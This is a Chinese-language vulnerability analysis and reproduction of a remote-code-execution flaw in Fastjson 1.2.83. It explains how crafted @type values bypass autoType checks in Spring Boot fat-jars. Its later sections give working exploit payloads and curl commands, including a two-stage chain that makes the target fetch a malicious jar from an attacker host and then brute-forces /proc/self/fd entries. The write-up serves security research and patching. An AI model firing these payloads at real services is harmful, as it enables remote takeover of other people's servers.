Fastjson 1.2.83 RCE 分析及复现

一、漏洞概述

2026 年 7 月 19 日,FearsOff CTO Kirill Firsov(@k_firsov)公开声称在 Fastjson 1.2.83 中发现了一个无需任何 gadget 依赖的远程代码执行漏洞。作者在推文中描述:”不依赖目标 classpath 上的任何库,’移除危险类’缓解无效,一个 payload 即可实现 RCE。”

作者在推文问答中进一步确认了以下约束:

  • 影响 1.2.68 至 1.2.83 全版本
  • autoType 默认关闭即可触发(非”绕过 autoType”)
  • JSON.parse(String)JSON.parseObject(String) 均可达
  • 不是 expectClass + Throwable 链
  • 不是 XMLDecoder
  • 唯一缓解:safeMode=true 或升级 fastjson 2.x

二、漏洞根因:checkAutoType 的 @JSONType 资源探测

2.1 漏洞入口

源码位置:com.alibaba.fastjson.parser.ParserConfig,Maven 坐标 com.alibaba:fastjson:1.2.83

checkAutoType 方法(约 com.alibaba.fastjson.parser.ParserConfig:1311 行起)在处理每个 @type 值时,会执行一段 @JSONType 注解探测逻辑。关键代码位于约 com.alibaba.fastjson.parser.ParserConfig:1483-1510 行。

image-20260722014534169

核心逻辑如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// 步骤1:将 @type 值的 . 替换为 /,拼成 resource 路径
String resource = typeName.replace('.', '/') + ".class";

// 步骤2:用 ClassLoader 加载这个 resource
if (defaultClassLoader != null) {
is = defaultClassLoader.getResourceAsStream(resource);
} else {
is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
}

// 步骤3:如果找到了,用 ASM 读取类字节码,检查是否有 @JSONType 注解
if (is != null) {
ClassReader classReader = new ClassReader(is, true);
TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
classReader.accept(visitor);
jsonType = visitor.hasJsonType();
}

// 步骤4:如果 jsonType=true,直接 loadClass(跳过黑名单!)
if (autoTypeSupport || jsonType || expectClassFlag) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}

// 步骤5:如果 jsonType=true,直接返回(跳过所有后续安全检查)
if (clazz != null && jsonType) {
return clazz; // 跳过 deny-list、ClassLoader/DataSource/RowSet 检查
}

2.2 @JSONType 旁路机制

正常情况下,fastjson 的 autoType 防御包含多层:

  1. safeMode 总开关(com.alibaba.fastjson.parser.ParserConfig:1326-1331
  2. deny-list 黑名单(com.alibaba.fastjson.parser.ParserConfig:1386-1416,169 个哈希)
  3. ClassLoader/DataSource/RowSet 硬拦截(com.alibaba.fastjson.parser.ParserConfig:1513-1518
  4. expectClass 类型匹配(com.alibaba.fastjson.parser.ParserConfig:1520-1528

jsonType=true 时,代码在 com.alibaba.fastjson.parser.ParserConfig:1510 行直接 return clazz,短路跳过上述所有检查。这意味着:只要攻击者能让 getResourceAsStream 返回一个带 @JSONType 注解的恶意类,就能绕过全部防御。

2.3 类名转换规则(关键约束)

fastjson 会将同一个 @type 字符串分别传入 ClassLoader 的两个入口,两侧实参不同。源码 com.alibaba.fastjson.parser.ParserConfig:1482-1502

  • com.alibaba.fastjson.parser.ParserConfig:1482:构造 resource = typeName.replace('.', '/') + ".class"
  • com.alibaba.fastjson.parser.ParserConfig:1484:资源探测 getResourceAsStream(resource) —— 传入 replace 后的值
  • com.alibaba.fastjson.parser.ParserConfig:1502:类加载 TypeUtils.loadClass(typeName, ...) —— 传入原始 typeName(不经 replace,最终进入 com.alibaba.fastjson.util.TypeUtils:1762loadClass

image-20260722024738556

入口 实参 语义
getResourceAsStream(资源探测) replace 后 资源路径,规范上使用 /
loadClass(类加载) 原始 typeName binary name,由 ClassLoader 校验

也就是说:replace 只作用于资源探测,类加载始终使用原始 @type;同一字符串必须同时满足两侧。

加载侧会进入 ClassLoader.loadClass,并先经私有方法 checkName 校验 binary name(JDK 8 rt.jar / java.lang.ClassLoader)。

image-20260722025021051

checkName 在 binary name 含 / 时直接返回 false,类加载失败:

image-20260722021248437

因此路径分隔符必须使用 . 而非 /:原文可通过 checkName,fastjson 再将 . 替换为 / 以符合资源路径。两侧对 / 的要求相反,而 . 恰好能同时满足两处约束。

@type 值 loadClass(原文) getResourceAsStream(replace 后) 结果
jar:file:.tmp.probe!.POC /checkName 通过 jar:file:/tmp/probe!/POC.class 两侧均通过
jar:file:/tmp/probe!.POC /checkName 拒绝 jar:file:/tmp/probe!/POC.class 类加载失败

. / / 外,相关字符还需经过两层校验:checkName 主要检查名称结构(禁止 /),不检查是否为合法 Java 标识符;进入 defineClass 时另有 JVM native 校验。

字符 checkName JVM native(defineClass
. 允许(binary name 标准分隔符) 允许
/ 拒绝
: ! 不校验 JDK8 verify_unqualified_name 宽松放行(基于 JSR202)

因此 @type 中可以使用 jar:! 等字符(如 jar:http:..IP.PORT.probe!.POC)。native 层细节后面展开。

还有一层约束容易忽略:defineClass(name, bytes) 会校验 class 字节码里的 internal name(this_class)必须与传入的 binary name 的 internal 形式(即 @type. 全部替换成 / 的结果)完全一致,不一致就抛 ClassFormatError / NoClassDefFoundError。所以生成恶意 class 时,它的 internal name 不能随便取,必须按 resource path 的形式构造。以 @type=jar:file:.tmp.probe!.POC 为例:

@type(binary name,交 loadClass jar:file:.tmp.probe!.POC
replace 后(internal 形式,= resource path) jar:file:/tmp/probe!/POC
class 字节码 internal name(this_class,必须等于上一行) jar:file:/tmp/probe!/POC

三者对上,defineClass 才放行。这也是后面生成 evil jar 时 internal name 要写成 jar:file:/tmp/probe!/POC、而不是 POCprobe.POC 的原因。


三、从 getResourceAsStream 到 RCE:思路推导

第二章已经说明:jsonType=truecheckAutoTypeloadClass 并短路返回,从而绕过黑名单等检查。真正要打成 RCE,还需要让 getResourceAsStream 返回攻击者可控、且带 @JSONType 的类字节码。下面按条件逐步收束。

3.1 资源路径完全可控

com.alibaba.fastjson.parser.ParserConfig:1482-1486 中,资源名由 @typetypeName.replace('.', '/') + ".class" 得到,再交给 getResourceAsStream。在默认 autoType 关闭、未配置 defaultClassLoader 的常见场景下,路径字符串仍完全来自攻击者输入。

这一点首先应理解为攻击者可控的资源读取点,而不是默认就能出网:多数 ClassLoader 只会在 classpath 内按资源名查找,并不会把该字符串当成 URL 去访问。能否变成远程加载,取决于后面的路径形态与运行时 ClassLoader。

3.2 必须控制返回内容(@JSONType)

仅有可控路径不够。旁路与加载都依赖 jsonType=true,而该标志来自对资源流字节码的 ASM 扫描(com.alibaba.fastjson.parser.ParserConfig:1488-1492):

  • 返回的 class 带 @JSONTypejsonType=trueTypeUtils.loadClass(约 :1500-1502)→ 短路返回(约 :1506-1510)→ 类定义后,在首次主动使用时触发 <clinit>,可执行恶意逻辑
  • 未带 @JSONType(或资源根本读不到,jsonType 保持 false)→ 在 autoType 关闭时于约 :1542 抛出 autoType is not support,利用终止

因此攻击者必须控制 getResourceAsStream 的返回内容。classpath 上既有的类字节码通常不可控(除非另有写入 classpath / 依赖投毒等条件),现实路径是:指向攻击者可写的本地资源,或指向攻击者控制的远程资源。

3.3 用 jar: URL 承载外部资源

在 2.3 的约束下,@type 全程用 . 作路径分隔,经 replace 后可拼出 jar: 形式的资源名。jar: 是统一载体:远程可用 jar:http:,本地落盘可用 jar:file:,下面的利用链两者都会用到。

远程示例:

1
2
@type 值:    jar:http:..2130706433:18081.probe!.POC
replace 后: jar:http://2130706433:18081/probe!/POC.class

这里 host 写成 2130706433127.0.0.1 的整数形式)是必要的:replace('.', '/') 会处理字符串中每一个 .。若写成 127.0.0.1,会变成 127/0/0/1,URL 直接被破坏。整数 IP 不含点号,才能在「分隔符必须用 .」的约束下保留合法 host。

本地同理,例如 jar:file:.tmp.probe!.POCjar:file:/tmp/probe!/POC.class(路径段同样用 . 书写,避免原文出现 /)。

3.4 只有特定 ClassLoader 会解析 jar: 资源名

即便资源名已是合法 jar:http://... / jar:file:...,标准 JDK 的 ClassLoader.getResourceAsStream 也不会把它当 URL 打开——AppClassLoader / 普通 URLClassLoader 只在 classpath 的 jar、目录里按名称查找。实测 AppClassLoader.getResourceAsStream("jar:http://...") 返回 null;findResource 不会对资源名发起 HTTP 请求。

image-20260722025915159

Spring Boot fat-jar 的 LaunchedURLClassLoader 是常见例外。 启动阶段会通过 JarFile.registerUrlProtocolHandler() 注册自定义 jar: 协议处理,使该类加载器能够处理 jar:http://jar:file: 形式的资源路径(具体加载与 defineClass 路径见第四章)。

于是利用面从「任意接入 fastjson 的 Java 应用」收束为:运行时 ClassLoader 具备 jar: 资源名解析能力的环境;其中 java -jar 启动的 Spring Boot fat-jar 是最高频场景。下一章沿这条 ClassLoader 链把探测、加载与类定义补全。


四、ClassLoader 链路分析

利用能否走通,取决于运行时 ClassLoader 如何处理 jar: 形态的资源名,以及 loadClass 如何定义类。下面以 java -jar 启动的 Spring Boot 2.7.18(内嵌 Tomcat)为例。

4.1 资源探测与类加载用的不是同一条入口

checkAutoType 里与 ClassLoader 相关的动作有两次,实参与入口都不同(见 2.3):

步骤 源码位置 使用的 ClassLoader(defaultClassLoader == null 时) 输入
资源探测 ParserConfig:1484-1486 ParserConfig.class.getClassLoader() replace 后的 resource(可含 /
类加载 ParserConfig:1500-1502TypeUtils.loadClass 默认走 TCCL(见 4.3) 原始 typeName(不得含 /

fastjson 一般在 BOOT-INF/lib 中,由 LaunchedURLClassLoader 加载,探测侧默认就是该 CL。加载侧先到请求线程 TCCL,再经 parent delegation 回到同一棵应用 CL 树。两侧都可能落到同一个 LaunchedURLClassLoader 实例,但并不是同一个私有方法同时完成探测和 defineClass

4.2 fat-jar 下的 ClassLoader 层级

image-20260722121049808

  • ParserConfig 等应用类:通常在 LaunchedURLClassLoader
  • 请求线程 TCCL:通常是 TomcatEmbeddedWebappClassLoader,parent 为上述 Launched 实例
  • 探测走「加载 fastjson 的 CL」,加载走「TCCL → parent」;jar:file: 形式纯默认即可,jar:http: 形式需 setDefaultClassLoader(见 5.3)

4.3 TypeUtils.loadClass 的三分支

源码位置:com.alibaba.fastjson.util.TypeUtils.loadClass(String, ClassLoader, boolean),约 TypeUtils:1735

image-20260722121752126

defaultClassLoader == null 时顺序为:

1
2
3
分支1:classLoader.loadClass(...)     // defaultClassLoader 非空时走这里(已 setDefaultClassLoader,直接用应用 CL)
分支2:TCCL.loadClass(...) // defaultClassLoader 为 null 时走这里(即纯默认,经 Tomcat)
分支3:Class.forName(className) // 兜底,实际上不可达

defaultClassLoader 是否为空决定走哪条分支:

  • setDefaultClassLoader 手动指定了 ClassLoader(defaultClassLoader 非空),进入分支 1,直接 defaultClassLoader.loadClass
  • 纯默认(null)进入分支 2 经 TCCL=Tomcat。这条区别决定了 jar:http: 形式能否成功(详见 5.3)。

className.length() > 198 会直接抛 illegal className(约 :1740)。

image-20260722121813928

重点:请求线程上分支 2(defaultClassLoader=null、纯默认)实际要经过 Tomcat 的 Class.forName,这一步是 file/http 的分水岭:

1
2
3
4
5
6
7
8
TypeUtils.loadClass 分支2 → TCCL.loadClass(typeName)
→ TomcatEmbeddedWebappClassLoader.loadClass → doLoadClass
├─ findClassIgnoringNotFound(本地 WebResourceRoot,查不到 jar: 资源)
└─ loadFromParent = Class.forName(typeName, false, LaunchedURLClassLoader)
↑ native 校验 check_format.c:157 禁连续 `/`
jar:http://(双斜杠)在此被拒 → CNFE,到不了下一步
jar:file:/(单斜杠)通过 → 继续
→ LaunchedURLClassLoader.loadClass → URLClassLoader.findClass → defineClass

http 在 loadFromParentClass.forName 就失败、到不了 LaunchedURLClassLoader.loadClass;而 file 通过后可以继续走到 defineClass。详见 5.3 分析。

spring-boot-loader 2.7.18 里,LaunchedURLClassLoader.loadClass 只有类名以 org.springframework.boot.loader.jarmode. 开头时才会进入私有方法 loadClassInLaunchedClassLoader;该方法调用的是 getParent().getResourceAsStream,与 @typejar:http:… / jar:file:… 的 payload 无关。

payload 类名(jar:http:…/jar:file:…)不是 jarmode. 前缀,因此走 super.loadClass(标准 URLClassLoaderfindClass → ucp → defineClass),而非这个私有分支;能否加载成功取决于字节码 internal name 是否匹配、checkName 是否放行、JVM class-name 校验是否通过(见 5.3)。

image-20260722123201966

4.4 jar: Handler 与资源名解析

启动时 JarFile.registerUrlProtocolHandler() 会注册自定义 jar: URLStreamHandler,影响的是 java.net.URL / URLConnection 如何打开 jar: 地址(含 fat-jar 嵌套路径)。

机制 实际做什么
注册 jar: Handler new URL("jar:…") 等如何建立连接
ClassLoader.getResourceAsStream(name) 多数实现按 classpath 内资源名查找,不会把任意字符串自动当成绝对 URL
CL 扩展资源查找 jar:http: / jar:file: 形态的 name 解析为远端或本地 jar 条目(利用前提,见 3.4)

能否解析 jar: 资源名,取决于 ClassLoader 是否重写了资源查找。AppClassLoader(普通 URLClassLoader)即便注册了 jar Handler,getResourceAsStream("jar:http://…") 仍返回 null——它只在 classpath 内按资源名查找,不把 name 当 URL 解析(3.4 实测);

LaunchedURLClassLoader 重写了 findResource,能把 jar:http:/jar:file: 资源名解析为远端或本地 jar 条目并返回字节(5.3 实测两者都返回完整字节)。所以探测能否成功,要看实际被调用的 ClassLoader 是否具备这种扩展查找能力。

image-20260722124746600

image-20260722201736258

image-20260722201739150


五、默认配置下的可达性

5.1 defaultClassLoader = null 的正确路径

defaultClassLoader=null 时:

  • 资源探测使用 ParserConfig.class.getClassLoader()(约 :1486),在 Spring Boot fat-jar 中通常为加载 BOOT-INF/libLaunchedURLClassLoader
  • 类加载走 TypeUtils.loadClass(name, null, true) 分支 2:请求线程 TCCL(常见为 TomcatEmbeddedWebappClassLoader)→ parent delegation → 同一 LaunchedURLClassLoader

探测与加载落在同一应用 CL 树上——对 jar:file: 形式,确实不需要业务侧手动 setDefaultClassLoader(纯默认即可加载)。但 jar:http: 形式在纯默认下会被 Tomcat 的 Class.forName 拦下,必须 setDefaultClassLoader 走分支 1,详见 5.3。 能否解析 jar: 资源名,仍取决于该 CL 的具体实现(第四章)。

5.2 payload 格式要求

@type 值里路径分隔符必须用 .,不能写 /:fastjson 用 .replace('.', '/'). 还原为 / 拼资源路径,而 binary name(交给 loadClass 的原文)若含 /,会被 ClassLoader.checkName() 拒绝。

@type 写法 binary name(loadClass) replace 后(getResourceAsStream) 结果
jar:file:.tmp.probe!.POC /,过 checkName jar:file:/tmp/probe!/POC.class 两侧通过
jar:file:/tmp/probe!.POC /checkName 同上 类加载失败

同一规则还约束本地 jar 的文件名与 host:文件名不能含 .(如 evil.jarreplace 会拆成 evil/jar),需用无点文件名(如 eviljar);host 必须用整数 IP(2130706433)而非点分形式。

5.3 重点:file 与 http 的根本差异

5.1 的结论对 jar:file: 成立,但对 jar:http: 不成立,纯默认下 file 能加载,http 必须 setDefaultClassLoader 才行。这一点很反直觉:两者都是 jar: URL、LaunchedURLClassLoader 对它们的资源探测都能成功,下面通过实测和 JDK 源码分析一下。

image-20260722130829583

实测环境:macOS / JDK 1.8.0_431 / Spring Boot 2.7.18 fat-jar / fastjson 1.2.83。

对同一个 name,分别用「分支1:LaunchedURLClassLoader.loadClass(对应已 setDefaultClassLoader)」和「分支2:TCCL(Tomcat).loadClass(对应未设置)」去加载,只看能否加载(OK / ClassNotFoundException),不初始化、不触发 <clinit>

name 分支1(已设,LaunchedURLClassLoader.loadClass 分支2(未设,TCCL.loadClass
jar:file:.tmp.eviljar!.POC OK OK
jar:http:..2130706433:18080.probe!.POC OK FAIL ClassNotFoundException: jar:http://2130706433:18080/probe!/POC

LaunchedURLClassLoader.loadClass 对 file/http 都能加载;Tomcat.loadClass 对 file 能加载、对 http 抛 CNFE(message 是 internal 形式 jar:http://…)。是否设置 defaultClassLoader 决定走分支1 还是分支2,也就决定了 http 形式能否加载——这正是后面要分析的起点。

差异不在资源探测,在类加载。 资源探测(checkAutoTypegetResourceAsStream,约 :1486)对 file 和 http 都成功:LaunchedURLClassLoader 重写了 findResourcejar: Handler 两种形式都解析,都读到字节、jsonType=true

image-20260722131350061

差异发生在 TypeUtils.loadClass(约 :1500):defaultClassLoader 非空时走分支 1 classLoader.loadClass(name) 直接调 LaunchedURLClassLoader;为空时走分支 2 contextClassLoader.loadClass(name)(TCCL)→ TomcatEmbeddedWebappClassLoader → 委托回 LaunchedURLClassLoader

自定义一个 /loadclass 端点,TCCL.getParent().loadClass(name),分别传 file 和 http 形式的 name。

image-20260722131702060

绕过 Tomcat 后 file/http 都通,说明 LaunchedURLClassLoader 本身不分 file/http。差异在 defaultClassLoader=null 时必经的 Tomcat WebappClassLoader 这一层。

Tomcat 的分叉点在 loadFromParent。 拆 TomcatEmbeddedWebappClassLoader.doLoadClass 的两个私有子步骤:findClassIgnoringNotFound 对 file/http 都返回 null(一致),loadFromParent 对 file 返回 class、对 http 返回 null。

image-20260722132402403

loadFromParent 的源码:

image-20260722132851016

其中 parent = LaunchedURLClassLoader

而 fastjson 在 defaultClassLoader 非空时走的分支 1 用的是 classLoader.loadClass(name)Class.forNameClassLoader.loadClass 对这个畸形 name 行为不同——这是全部分界。

同一个 CL、同一个 name,结果相反。 实测对 http name 分别调两个 API:

自定义一个 /cmp 端点对 http name 分别测 parent.loadClassClass.forName(_, false, parent) 的输出。
image-20260722154216730

三个铁证:CNFE 的 message 是 internal 形式(/),不是传入的 binary(.),说明 native 层转换过 name;栈里只有 forName0 (Native Method),没有 loadClass/findClass/defineClass 的 Java 帧,说明 native 在调 loadClass 之前就否了;file name 两个 API 都 OK。

C++ 源码根因:forName0 的 native 校验禁止连续斜杠。 Class.forName0 的 native 实现在 OpenJDK 8u 的 jdk/src/share/native/java/lang/Class.c

image-20260722154624193

1
2
3
4
5
6
7
8
// Class.c:123
if (VerifyFixClassname(clname) == JNI_TRUE) { ... } // 把 binary 的 '.' 原地改成 '/'
// Class.c:130
if (!VerifyClassname(clname, JNI_TRUE)) { // expects slashed name
JNU_ThrowClassNotFoundException(env, clname); // :131 CNFE 直接在这里抛
goto done;
}
cls = JVM_FindClassFromCaller(env, clname, ...); // 通过校验才进 SystemDictionary

CNFE 在 :131 抛出,所以栈只有 forName0 (Native Method)、没有 Java loadClass 帧。VerifyFixClassname. 改成 /*p++='/')是原地修改,所以 :131 抛异常时 message 已经是 internal 形式。

VerifyClassnamejdk/src/share/native/common/check_format.c:233)调 skip_over_fieldname

image-20260722154938290

skip_over_fieldnamecheck_format.c:128)逐字符走 name,用循环末尾的 last_ch = ch 记住上一个字符,第 157 行明确禁止连续斜杠:

image-20260722155031639

1
2
3
4
5
6
// check_format.c:155-157
if (slash_okay && ch == '/' && last_ch) {
if (last_ch == '/') {
return 0; /* Don't permit consecutive slashes */
}
}

http:// 的双斜杠:第一个 /last_ch 是它前面的字符(:,不是 /),不 return,last_ch 更新为 /;第二个 /last_ch 已经是 /,命中 :157 return 0VerifyClassname 返回 false → forName0:131 抛 CNFE。

辅助:isJvmIdentifier:56)—— :!、字母数字都是合法标识符(continue 跳过),只有 / . [ ; 进入上面的分支。所以 http:// 里只有那两个 / 会走到 :157

image-20260722155112892

对照:loadClass/defineClass 为什么放行 http。 ClassLoader.loadClassfindClassdefineClass 走的是另一条校验链:ClassFileParser::verify_legal_class_nameverify_unqualified_namehotspot/src/share/vm/classfile/classFileParser.cpp:5201)。

image-20260722155622955

1
2
3
// classFileParser.cpp:5209-5214
if (ch == '.' || ch == ';' || ch == '[' ) return false;
if (type != LegalClass && ch == '/') return false; // 只有非 LegalClass 才拒 /;LegalClass 放行所有 /(含连续)

LegalClass 类型允许连续 /。所以 defineClassjar:http://...(含空段)照样定义成功——这就是 loadClass(http) OK、Tomcat loadFromParent(用 Class.forName)挡 http 的根本原因。

到这里我们知道了: 根因是 JDK 两套 class-name 校验严格度不同——Class.forName0check_format.c:157)禁止连续斜杠,defineClassclassFileParser.cpp:5212)对 LegalClass 放行。http:// 的双斜杠(URL authority 分隔符)正好命中前者。

file http
资源探测 :1486 OK OK
setDefaultClassLoader(分支 1 loadClassdefineClass,允许连续 / OK OK
未设置(分支 2 → Tomcat → loadFromParentClass.forName,禁连续 / OK 失败(forName0 :157 拒)

file 的 file:/ 是单斜杠,过 Class.forNameskip_over_fieldname,所以纯默认(defaultClassLoader=null)即可加载;http 的 http:// 是双斜杠,命中 :157Class.forName 直接拒,必须 setDefaultClassLoaderloadClass 走分支 1 用 ClassLoader.loadClass(走 defineClass 那条允许连续 / 的校验链),绕过 Tomcat 的 Class.forName

需要强调的是:setDefaultClassLoader 是应用侧配置,攻击者无法控制;真实默认应用不会主动设置它。因此 jar:http: 单阶段在默认配置下不可达,默认配置下可达的是 jar:file:


六、利用链

第五章已经确认:默认配置下 jar:file: 即可加载,jar:http: 单阶段不可达(需攻击者控不了的 setDefaultClassLoader)。下面先看最直接的本地 jar 单阶段利用链。

6.1 单阶段本地 jar 利用

前提条件:目标机器上存在一个包含恶意 class 的 jar 文件(通过文件上传、其他漏洞写入、或共享目录),但是要注意不能带后缀。

1
2
3
4
5
6
7
Payload:
{"@type":"jar:file:.tmp.probe!.POC","x":1}

转换过程:
@type: jar:file:.tmp.probe!.POC
resource: jar:file:/tmp/probe!/POC.class
binary name: jar:file:.tmp.probe!.POC ← 无 /,合法

执行链路:

1
2
3
4
5
6
7
8
9
10
11
12
13
1. checkAutoType 资源探测(约 :1483)
→ getResourceAsStream("jar:file:/tmp/probe!/POC.class")
→ 探测侧 CL(defaultClassLoader 为 null 时为 ParserConfig 的 CL)
→ 读出 POC.class → ClassReader 见 @JSONType → jsonType=true

2. checkAutoType 类加载(约 :1500)
→ TypeUtils.loadClass(name, null, true)
→ 分支2:TCCL.loadClass → parent delegation → 应用 CL(如 LaunchedURLClassLoader)
→ 常规 loadClass/findClass → defineClass
→ 首次主动使用时 <clinit> → RCE

3. checkAutoType 短路返回(约 :1510)
→ return clazz(跳过黑名单等后续检查)

6.2 两阶段 fd 利用(Linux)

6.1 的单阶段链要求目标本地已有一个可控的 jar。拿不到本地写入的话,能不能换种方式把 jar 弄到目标上?jar:http: 资源探测默认可达(见 5.3),可以让目标主动把恶意 jar 拉过来;问题在于拉下来之后默认加载不了(http 单阶段不可达)。Linux 的 fd 机制正好能补上这一步。

Linux 上每个进程都有一个 /proc/self/fd/ 目录,列出它当前打开的文件描述符。JVM 走 jar:http:// 拉 jar 时,底层会把 jar 缓存为临时文件并打开一个 fd;即便这个临时文件之后被删,只要 fd 没关闭,/proc/self/fd/N 仍能读到那个 jar 的内容。于是思路分成两步:先用 jar:http: 让目标把 jar 拉下来(fd 被打开),再爆破 /proc/self/fd/N、用 jar:file: 把它加载出来,而fd文件正好就是不带后缀的文件。

前提条件:目标为 Linux 系统(有 /proc/self/fd/),能出网访问攻击者 HTTP 服务器。

Stage 1 — SSRF 下载 jar:

1
2
3
4
5
6
Payload:
{"@type":"jar:http:..ATTACKER_INT_IP:PORT.probe!.foo.Exception"}

转换过程:
@type: jar:http:..2130706433:18081.probe!.foo.Exception
resource: jar:http://2130706433:18081/probe!/foo/Exception.class

Stage 1 的 class(foo/Exception)不带 @JSONType 注解,因此 jsonType=false,checkAutoType 拒绝加载。但 getResourceAsStream 已经向攻击者 HTTP 服务器发起了 GET 请求,下载的 probe.jar 被 JVM 缓存在内存中,对应的文件描述符(fd)保持打开。

通过 /proc/self/fd/N 可以访问到这个缓存的 jar 文件。

Stage 2 — 从 fd 加载 class:

1
2
3
4
5
6
Payload(爆破 fd 编号 3-256):
{"@type":"jar:file:.proc.self.fd.35!.fd35.Exception"}

转换过程:
@type: jar:file:.proc.self.fd.35!.fd35.Exception
resource: jar:file:/proc/self/fd/35!/fd35/Exception.class

probe.jar 内预先打包了 fd3/Exception.classfd256/Exception.class 共 254 个 class,每个都带 @JSONType 注解和 <clinit> payload。只要其中一个 fd 编号命中 Stage 1 缓存的 jar,就会触发类加载和 <clinit> 执行。

完整利用流程图:

image-20260722165805290


七、实战复现

7.1 环境

组件 版本
OS fd 两阶段:Linux / file 单阶段:MacOS
JDK OpenJDK 1.8.0_431 / 1.8.0_432
Spring Boot 2.7.18(fat-jar)
Fastjson 1.2.83

7.2 目标应用

一个最简 Spring Boot 应用,仅包含一个 JSON.parse(body) 端点,无任何 fastjson 配置:

1
2
3
4
5
6
7
8
@RestController
public class Ctrl {
@PostMapping("/parse")
public String parse(@RequestBody String body) {
try { return "OK: " + JSON.parse(body); }
catch (Throwable e) { return e.getClass().getSimpleName() + ": " + e.getMessage(); }
}
}

7.3 攻击步骤

  1. 生成恶意 probe.jar

使用 ASM 生成包含 254 个 class 的 jar。每个 class 的 internal name 对应一个 fd 编号,携带 @JSONType 注解和 <clinit> payload。

image-20260722170240313

  1. 启动攻击者 HTTP 服务器

在攻击者机器上启动一个 HTTP 服务器,对任意路径返回 probe.jar。

  1. 发送 Stage 1
1
2
3
curl -X POST https://target:8080/parse \
-H "Content-Type: application/json" \
-d '{"@type":"jar:http:..ATTACKER_INT_IP:18081.probe!.foo.Exception"}'
  1. 发送 Stage 2(爆破 fd)
1
2
3
4
5
for fd in $(seq 3 256); do
curl -X POST https://target:8080/parse \
-H "Content-Type: application/json" \
-d "{\"@type\":\"jar:file:.proc.self.fd.${fd}!.fd${fd}.Exception\"}"
done

7.4 复现结果

分两条利用链各给一组端到端结果。

file单阶段

file 单阶段jar:file:,纯默认即可达):

image-20260722163422001

fd两阶段

fd 两阶段(Linux,jar:http: SSRF + jar:file:/proc/self/fd/N):

image-20260722180241932

image-20260722180023877

收到两次回连,随后爆破fd

image-20260722180221129

image-20260722180304462


八、总结

在纯默认配置下(autoTypeSupport=falsesafeMode=falsedefaultClassLoader=null),jar:file: 形式可直接达成 gadget-free RCE;jar:http: 形式则需 setDefaultClassLoaderloadClass 走分支 1,或改用 fd 两阶段(Stage 1 仅 SSRF、Stage 2 走 jar:file:)。 前提是参与探测/加载的 ClassLoader 能处理 jar: 形态资源名并完成类定义(典型为 Spring Boot fat-jar 的 LaunchedURLClassLoader),是否成立以目标进程实际 CL 行为为准。

利用链的核心环节:

  1. checkAutoTypegetResourceAsStream 使用攻击者可控的 resource 路径(@type 经 replace)
  2. @type 中的 . 被 replace 为 /,用于拼出 jar:http: / jar:file: 等形式的资源名;原文则交给 loadClass(不得含 /
  3. 具备相应能力的 ClassLoader 读出攻击者控制的 class 字节码;带 @JSONTypejsonType=true,短路跳过黑名单等检查
  4. TypeUtils.loadClass(默认经 TCCL)→ defineClass → 首次主动使用时 <clinit> → RCE

整条链不依赖目标 classpath 上的第三方 gadget 库,jar:file: 纯默认可达;jar:http:setDefaultClassLoader 或 fd 两阶段——根因是 Class.forName0 禁连续 /、而 loadClassdefineClass 放行(见 5.3)。彻底缓解仍是 safeMode=true 或迁移 fastjson 2.x。